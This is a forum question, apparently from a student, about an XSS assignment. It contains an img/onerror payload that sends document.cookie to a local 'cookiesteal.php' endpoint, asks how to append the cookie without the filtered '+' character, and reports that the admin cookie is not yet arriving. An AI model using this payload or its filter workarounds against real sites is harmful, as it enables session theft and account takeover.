title: How to append var to var.src without using +
body: <p>Im trying to do an XSS attack for an assignment, injecting some code, however the server is set up to strip most HTML tags, but I am able to inject using <code>img</code> tag and onerror. When injecting, I can't seem to get the syntax right as it takes away my "+" in my string append (trying to attach cookie to the source I'm using).</p>
  
  <pre><code>&lt;img src="img.gif" 
       onerror="var img = document.createElement('img'); img.src='http://localhost/cookiesteal.php?cookie='+ document.cookie;"&gt;
  </code></pre>
  
  <p>When i check this after injection (in inspect element) it shows the script, but the plus symbol at the end is missing. is there another way to append this cookie to the img.src without using the +?</p>
  
  <p>UPDATE:</p>
  
  <p>I got the plus in there and now the Event Listener has activated. But ive tried using onerror, onload, onmouseover and nothing is activating the code, im not receiving the admin cookie.</p>